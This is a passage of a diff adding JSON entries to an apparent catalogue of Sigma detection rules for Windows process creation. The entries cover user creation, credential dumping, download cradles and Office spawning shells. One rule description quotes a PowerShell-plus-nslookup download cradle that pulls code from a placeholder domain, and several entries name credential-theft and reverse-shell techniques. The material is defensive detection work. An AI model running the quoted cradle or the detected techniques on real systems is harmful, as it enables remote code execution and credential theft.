[ + "Inventory tool runs", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies creation of local users via the net.exe command.", + "uuid": "cd219ff3-fa99-45d4-8380-a7d15116c6dc", + "value": "Net.exe User Account Creation", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2018/10/30", + "filename": "proc_creation_win_net_user_add.yml", + "author": "Endgame, JHasenbusch (adapted to Sigma for oscd.community)", + "level": "medium", + "falsepositive": [ + "Legitimate user creation.", + "Better use event IDs for user creation rather than command line rules." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of local users via the net.exe command with the option \"never expire\"", + "uuid": "b9f0e6f5-09b4-4358-bae4-08408705bd5c", + "value": "Net.exe User Account Creation - Never Expire", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2022/07/12", + "filename": "proc_creation_win_net_user_add_never_expire.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an admin share is mounted using net.exe", + "uuid": "3abd6094-7027-475f-9630-8ab9be7b9725", + "value": "Mounted Windows Admin Shares with net.exe", + "meta": { + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_admin_share.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_net_use_admin_share.yml", + "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga", + "level": "medium", + "falsepositive": [ + "Administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", + "uuid": "baef1ec6-2ca9-47a3-97cc-4cf2bda10b77", + "value": "New Network Provider - CommandLine", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_network_provider.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/08/23", + "filename": "proc_creation_win_new_network_provider.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Other legitimate network providers used and not filtred in this rule" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a new service.", + "uuid": "7fe71fc9-de3b-432a-8d57-8c809efc10ab", + "value": "New Service Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_new_service_creation.yml", + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrator or user creates a service for legitimate reasons." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of nimgrab, a tool bundled with the Nim programming framework, downloading a file. This can be normal behaviour on developer systems.", + "uuid": "74a12f18-505c-4114-8d0b-8448dd5485c6", + "value": "Nimgrab File Download", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nimgrab.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/08/28", + "filename": "proc_creation_win_nimgrab.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate use of Nim on developer systems" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects nltest commands that can be used for information discovery", + "uuid": "5cc90652-4cbd-4241-aa3b-4b462fa5a248", + "value": "Recon Activity with NLTEST", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", + "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/", + "https://attack.mitre.org/techniques/T1482/", + "https://attack.mitre.org/techniques/T1016/", + "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016", + "attack.t1482" + ], + "creation_date": "2021/07/24", + "filename": "proc_creation_win_nltest_recon.yml", + "author": "Craig Young, oscd.community, Georg Lauenstein", + "level": "medium", + "falsepositive": [ + "Legitimate administration use but user must be check out" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution node.exe which is shipped with multiple softwares such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc", + "uuid": "6640f31c-01ad-49b5-beb5-83498a5cd8bd", + "value": "Node.exe Process Abuse", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return", + "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", + "https://nodejs.org/api/cli.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_node_abuse.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent.", + "uuid": "f4bbd493-b796-416e-bbf2-121235348529", + "value": "Non Interactive PowerShell", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_interactive_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "proc_creation_win_non_interactive_powershell.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements)", + "level": "low", + "falsepositive": [ + "Legitimate programs executing PowerShell scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry", + "uuid": "8f02c935-effe-45b3-8fc9-ef8696a9e41d", + "value": "Non-privileged Usage of Reg or Powershell", + "meta": { + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_priv_reg_or_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_non_priv_reg_or_ps.yml", + "author": "Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NPS a port forwarding tool", + "uuid": "68d37776-61db-42f5-bf54-27e87072d17e", + "value": "NPS Tunneling Tool", + "meta": { + "refs": [ + "https://github.com/ehang-io/nps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nps.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/10/08", + "filename": "proc_creation_win_nps.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of powershell in conjunction with nslookup as a mean of download.", + "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23", + "value": "Nslookup PowerShell Download", + "meta": { + "refs": [ + "https://twitter.com/Alh4zr3d/status/1566489367232651264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/05", + "filename": "proc_creation_win_nslookup_poweshell_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]", + "uuid": "72671447-4352-4413-bb91-b85569687135", + "value": "Nslookup PwSh Download Cradle", + "meta": { + "refs": [ + "https://twitter.com/alh4zr3d/status/1566489367232651264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_pwsh_download_cradle.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.t1071.004" + ], + "creation_date": "2022/09/06", + "filename": "proc_creation_win_nslookup_pwsh_download_cradle.yml", + "author": "Zach Mathis (@yamatosecurity)", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)", + "uuid": "2afafd61-6aae-4df4-baed-139fa1f4c345", + "value": "Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_ntdsutil_usage.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "NTDS maintenance" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", + "uuid": "349d891d-fef0-4fe4-bc53-eee623a15969", + "value": "Use Short Name Path in Command Line", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/frack113/status/1555830623633375232", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/08/07", + "filename": "proc_creation_win_ntfs_short_name_path_use_cli.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection", + "uuid": "a96970af-f126-420d-90e1-d37bf25e50e1", + "value": "Use Short Name Path in Image", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/frack113/status/1555830623633375232", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/08/07", + "filename": "proc_creation_win_ntfs_short_name_path_use_image.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", + "uuid": "dd6b39d9-d9be-4a3b-8fe0-fe3c6a5c1795", + "value": "Use NTFS Short Name in Command Line", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/jonasLyk/status/1555914501802921984", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/08/05", + "filename": "proc_creation_win_ntfs_short_name_use_cli.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection", + "uuid": "3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b", + "value": "Use NTFS Short Name in Image", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/jonasLyk/status/1555914501802921984", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/08/06", + "filename": "proc_creation_win_ntfs_short_name_use_image.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command", + "uuid": "cb5a2333-56cf-4562-8fcb-22ba1bca728d", + "value": "Obfuscated IP Download", + "meta": { + "refs": [ + "https://h.43z.one/ipconverter/", + "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_download.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2022/08/03", + "filename": "proc_creation_win_obfuscated_ip_download.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal...) via commandline", + "uuid": "56d19cb4-6414-4769-9644-1ed35ffbb148", + "value": "Obfuscated IP Via CLI", + "meta": { + "refs": [ + "https://h.43z.one/ipconverter/", + "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_via_cli.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2022/08/03", + "filename": "proc_creation_win_obfuscated_ip_via_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", + "uuid": "518643ba-7d9c-4fa5-9f37-baed36059f6a", + "value": "Office Applications Spawning Wmi Cli", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_applications_spawning_wmi_commandline.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_office_applications_spawning_wmi_commandline.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Office Applications executing a Windows child process including directory traversal patterns", + "uuid": "868955d9-697e-45d4-a3da-360cefd7c216", + "value": "Office Directory Traversal CommandLine", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1531653369546301440", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_dir_traversal_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2022/06/02", + "filename": "proc_creation_win_office_dir_traversal_cli.yml", + "author": "@SBousseaden (idea), Christian Burkard (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", + "uuid": "9d1c72f5-43f0-4da5-9320-648cf2099dd0", + "value": "Excel Proxy Executing Regsvr32 With Payload", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", + "uuid": "c0e1c3d5-4381-4f18-8145-2583f06a1fe5", + "value": "Excel Proxy Executing Regsvr32 With Payload", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio", + "uuid": "438025f9-5856-4663-83f7-52f878a70a50", + "value": "Microsoft Office Product Spawning Windows Shell", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_shell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2018/04/06", + "filename": "proc_creation_win_office_shell.yml", + "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", + "uuid": "04f5363a-6bca-42ff-be70-0d28bf629ead", + "value": "Office Applications Spawning Wmi Cli", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawning_wmi_commandline.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_office_spawning_wmi_commandline.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable in the users directory started from Microsoft Word, Excel, Powerpoint, Publisher or Visio", + "uuid": "aa3a6f94-890e-4e22-b634-ffdfd54792cc", + "value": "MS Office Product Spawning Exe in User Dir", + "meta": { + "refs": [ + "sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c", + "https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.g0046", + "car.2013-05-002" + ], + "creation_date": "2019/04/02", + "filename": "proc_creation_win_office_spawn_exe_from_users_directory.yml", + "author": "Jason Lynch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects svchost process spawning an instance of an office application. This happens when the initial word application create an instance of one of the office COM objects such as 'Word.Application', 'Excel.Application'...etc. This can be used by malicious actor to create a malicious office document with macros on the fly. (See vba2clr project in reference)", + "uuid": "9bdaf1e9-fdef-443b-8081-4341b74a7e28", + "value": "Svchost Spawning Office Application", + "meta": { + "refs": [ + "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", + "https://github.com/med0x2e/vba2clr", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_child.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2022/10/13", + "filename": "proc_creation_win_office_svchost_child.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of office automation via scripting" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Outlook", + "uuid": "208748f7-881d-47ac-a29c-07ea84bf691d", + "value": "Microsoft Outlook Product Spawning Windows Shell", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_outlook_shell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2022/02/28", + "filename": "proc_creation_win_outlook_shell.yml", + "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines", + "uuid": "12b8e9f5-96b2-41e1-9a42-8c6779a5c184", + "value": "Suspicious Execution Of PDQDeployRunner", + "meta": { + "refs": [ + "https://twitter.com/malmoeb/status/1550483085472432128", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/22", + "filename": "proc_creation_win_pdqdeploy_runner_susp_children.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the PDQDeploy tool to execute these commands" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of PDQ Deploy remote admin tool", + "uuid": "d679950c-abb7-43a6-80fb-2a480c4fc450", + "value": "Use of PDQ Deploy Remote Adminstartion Tool", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md", + "https://www.pdq.com/pdq-deploy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdq_deploy.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1072" + ], + "creation_date": "2022/10/01", + "filename": "proc_creation_win_pdq_deploy.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt", + "uuid": "ec88289a-7e1a-4cc3-8d18-bd1f60e4b9ba", + "value": "Persistence Via TypedPaths - CommandLine", + "meta": { + "refs": [ + "https://twitter.com/dez_/status/1560101453150257154", + "https://forensafe.com/blogs/typedpaths.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_persistence_typed_paths.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/22", + "filename": "proc_creation_win_persistence_typed_paths.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "uuid": "b2400ffb-7680-47c0-b08a-098a7de7e7a9", + "value": "Pingback Backdoor", + "meta": { + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ], + "creation_date": "2021/05/05", + "filename": "proc_creation_win_pingback_backdoor.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of an executable that is typically used by PlugX for DLL side loading started from an uncommon location", + "uuid": "aeab5ec5-be14-471a-80e8-e344418305c2", + "value": "Executable Used by PlugX in Uncommon Location", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", + "https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plugx_susp_exe_locations.yml" + ], + "tags": [ + "attack.s0013", + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2017/06/12", + "filename": "proc_creation_win_plugx_susp_exe_locations.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level", + "uuid": "0f9c21f1-6a73-4b0e-9809-cb562cb8d981", + "value": "Possible Privilege Escalation via Service Permissions Weakness", + "meta": { + "refs": 